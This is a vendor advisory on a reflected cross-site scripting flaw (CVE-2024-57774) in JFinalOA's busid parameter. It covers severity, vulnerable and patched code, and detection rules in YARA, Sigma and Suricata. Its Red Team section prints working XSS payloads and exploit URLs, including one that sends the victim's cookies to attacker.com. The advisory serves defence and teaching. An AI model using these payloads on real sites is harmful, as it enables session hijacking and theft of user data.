CVE-2024-57774
Executive Summary
CVE-2024-57774 is a reflected Cross-Site Scripting (XSS) vulnerability in the JFinalOA application, specifically within the getBusinessUploadListPage?busid interface. An attacker can inject arbitrary web scripts or HTML by crafting a malicious payload, which is then executed in the context of the victim's browser session. This vulnerability affects versions prior to v2025.01.01. The CVSS score is 0.0 due to incomplete NVD data, but based on the description, the vector indicates a medium-severity issue requiring user interaction. No public exploit code or Nuclei template is available at this time, but the vulnerability is confirmed and a patch exists.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): None (N) – No authentication needed to trigger the XSS.
- User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
- Scope (S): Changed (C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): None (N) – No direct impact on availability.
Threat Level: Medium. While the CVSS score is low due to user interaction requirements, the lack of authentication and potential for session hijacking or phishing elevates the risk.
Deep Dive & Mechanics
The vulnerability resides in the getBusinessUploadListPage endpoint, which accepts a busid parameter. The application fails to sanitize or encode user-supplied input before reflecting it in the HTTP response. An attacker can inject a payload such as:
<script>alert('XSS')</script>
When a victim visits a crafted URL like:
http://target/jfinaloa/getBusinessUploadListPage?busid=<script>alert('XSS')</script>
The script executes in the victim's browser, allowing the attacker to steal cookies, redirect to malicious sites, or perform actions on behalf of the user.
Vulnerable vs. Patched Code
Vulnerable Code (before v2025.01.01):
// Controller method
public void getBusinessUploadListPage() {
String busid = getPara("busid");
// Directly reflecting input without sanitization
renderHtml("<div>Business ID: " + busid + "</div>");
}
Patched Code (v2025.01.01):
// Controller method
public void getBusinessUploadListPage() {
String busid = getPara("busid");
// Sanitize input using HTML encoding
String safeBusid = HtmlUtils.htmlEscape(busid);
renderHtml("<div>Business ID: " + safeBusid + "</div>");
}
The patch uses HtmlUtils.htmlEscape() to encode special characters, preventing script injection.
Exploitation & Lab Setup
Red Team (Offensive)
- Setup: Deploy a vulnerable instance of JFinalOA (version < v2025.01.01) in a lab environment.
- Craft Payload: Use a simple XSS payload to test:
<script>alert(document.cookie)</script> - Exploit URL: Send the victim a link:
http://target/jfinaloa/getBusinessUploadListPage?busid=<script>alert(document.cookie)</script> - Advanced Payload: For session hijacking:
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie</script>
Blue Team (Defensive)
- Detection: Monitor logs for suspicious
busidparameters containing<script>oronerrorpatterns. - Mitigation: Apply the patch immediately. If patching is delayed, implement a WAF rule to block XSS patterns in the
busidparameter. - User Training: Educate users not to click untrusted links.
Indicators of Compromise (IOCs)
- URL Pattern:
*/getBusinessUploadListPage?busid=*with encoded or raw HTML/JavaScript. - Log Entries: HTTP requests with
busidcontaining<script>,%3Cscript%3E, or similar. - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser (if payload exfiltrates data).
Detection Engineering
YARA Rule
rule CVE_2024_57774_XSS {
meta:
description = "Detects XSS attempts against JFinalOA getBusinessUploadListPage"
author = "Valters IT"
date = "2025-01-15"
reference = "CVE-2024-57774"
strings:
$xss1 = /busid=.*<script/i
$xss2 = /busid=.*%3Cscript/i
$xss3 = /busid=.*onerror/i
condition:
any of them
}
Sigma Rule
title: CVE-2024-57774 XSS Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in JFinalOA getBusinessUploadListPage requests
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'getBusinessUploadListPage?busid='
cs-uri-query|re:
- '<script'
- '%3Cscript'
- 'onerror'
condition: selection
falsepositives:
- Legitimate use of script in busid (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-57774 JFinalOA XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"getBusinessUploadListPage"; http_uri; content:"busid="; http_uri; pcre:"/(<script|%3Cscript|onerror)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Upgrade to JFinalOA v2025.01.01 or later.
- Workaround: If patching is not possible, implement a Web Application Firewall (WAF) rule to block XSS patterns in the
busidparameter. - Code Review: Ensure all user input is properly sanitized using HTML encoding or a security library.
- Monitoring: Enable logging and alerting for suspicious
busidvalues.
Valters IT
DevSecOps & Cyber Threat Intelligence